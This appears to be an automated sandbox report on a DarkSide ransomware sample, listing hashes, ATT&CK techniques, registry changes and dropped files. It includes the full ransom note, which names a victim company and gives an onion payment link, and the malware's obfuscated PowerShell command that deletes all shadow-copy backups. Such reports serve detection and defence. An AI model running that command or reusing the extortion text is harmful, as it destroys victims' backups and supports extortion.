darkside | a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774

General

Target

a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe
Size

166KB
MD5

be1c18efa764b1b32421b6beb57cd3e9
SHA1

9fff40b4653ab368e04e398d9c54a1aa3a320d49
SHA256

a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774
SHA512

f35e3f123f4b0378626de52035390d2b8c9cf42f5b1882c66d8a79c58cd798a89506fb402a93a7ceaba1078226d7eba80e9c8a93321fc0a17e4e012fc8b15824
SSDEEP

3072:o/0Lu+FKdYM69P6padn/DDonc8oOgajAnPvNHwcW0m1QTj:o/d+FKdYMQPrdn/HovAnlwx0cC

Score

10^/10

darkside credential_access discovery execution ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.a65e00f8.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Renames multiple (170) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 1 IoCs

pid	Process
4544	azami.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3356	powershell.exe

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\a65e00f8.BMP"	azami.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\a65e00f8.BMP"	azami.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	azami.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\Desktop\WallpaperStyle = "10"	azami.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.a65e00f8	azami.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.a65e00f8\ = "a65e00f8"	azami.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\a65e00f8\DefaultIcon	azami.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\a65e00f8	azami.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\a65e00f8\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\a65e00f8.ico"	azami.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3356	powershell.exe
3356	powershell.exe
4544	azami.exe
4544	azami.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4544	azami.exe
Token: SeSecurityPrivilege	4544	azami.exe
Token: SeTakeOwnershipPrivilege	4544	azami.exe
Token: SeLoadDriverPrivilege	4544	azami.exe
Token: SeSystemProfilePrivilege	4544	azami.exe
Token: SeSystemtimePrivilege	4544	azami.exe
Token: SeProfSingleProcessPrivilege	4544	azami.exe
Token: SeIncBasePriorityPrivilege	4544	azami.exe
Token: SeCreatePagefilePrivilege	4544	azami.exe
Token: SeBackupPrivilege	4544	azami.exe
Token: SeRestorePrivilege	4544	azami.exe
Token: SeShutdownPrivilege	4544	azami.exe
Token: SeDebugPrivilege	4544	azami.exe
Token: SeSystemEnvironmentPrivilege	4544	azami.exe
Token: SeRemoteShutdownPrivilege	4544	azami.exe
Token: SeUndockPrivilege	4544	azami.exe
Token: SeManageVolumePrivilege	4544	azami.exe
Token: 33	4544	azami.exe
Token: 34	4544	azami.exe
Token: 35	4544	azami.exe
Token: 36	4544	azami.exe
Token: SeDebugPrivilege	3356	powershell.exe
Token: SeBackupPrivilege	4236	vssvc.exe
Token: SeRestorePrivilege	4236	vssvc.exe
Token: SeAuditPrivilege	4236	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4268 wrote to memory of 4544	4268	a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe	84
PID 4268 wrote to memory of 4544	4268	a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe	84
PID 4268 wrote to memory of 4544	4268	a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe	84
PID 4544 wrote to memory of 3356	4544	azami.exe	86
PID 4544 wrote to memory of 3356	4544	azami.exe	86

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe
"C:\Users\Admin\AppData\Local\Temp\a48af4ad3eddc63e3c079a43fd3b45d5fa66fe22c78f32f97285c428d1f1f774.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Users\Admin\AppData\Local\Temp\azami.exe
  "azami.exe"
  2⤵
  - Executes dropped EXE
  - Sets desktop wallpaper using registry
  - System Location Discovery: System Language Discovery
  - Modifies Control Panel
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3356

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials from Password Stores

2

T1555

Credentials from Web Browsers

1

T1555.003

Windows Credential Manager

1

T1555.004

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2d74f3420d97c3324b6032942f3a9fa7

SHA1
95af9f165ffc370c5d654a39d959a8c4231122b9

SHA256
8937b96201864340f7fae727ff0339d0da2ad23c822774ff8ff25afa2ae4da3d

SHA512
3c3d2ae3b2581ff32cfee2aedca706e4eaa111a1f9baeb9f022762f7ef2dfb6734938c39eb17974873ad01a4760889e81a7b45d7ed404eb5830f73eb23737f1a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_z5jpgf05.ycs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\azami.exe

Filesize
59KB

MD5
0ed51a595631e9b4d60896ab5573332f

SHA1
7ae73b5e1622049380c9b615ce3b7f636665584b

SHA256
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60

SHA512
9bfd6318b120c05d9a42a456511efc59f2be5ad451baa6d19d5de776e2ff74dbee444c85478ee7cfdbf705517cc147cd64c6814965f76c740fe1924594a37cb5

Download Submit
C:\Users\Admin\README.a65e00f8.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/3356-5-0x00007FFCE1F33000-0x00007FFCE1F35000-memory.dmp

Filesize
8KB

Download
memory/3356-6-0x000001772E0C0000-0x000001772E0E2000-memory.dmp

Filesize
136KB

Download
memory/3356-16-0x00007FFCE1F30000-0x00007FFCE29F1000-memory.dmp

Filesize
10.8MB

Download
memory/3356-17-0x00007FFCE1F30000-0x00007FFCE29F1000-memory.dmp

Filesize
10.8MB

Download
memory/3356-18-0x00007FFCE1F30000-0x00007FFCE29F1000-memory.dmp

Filesize
10.8MB

Download
memory/3356-21-0x00007FFCE1F30000-0x00007FFCE29F1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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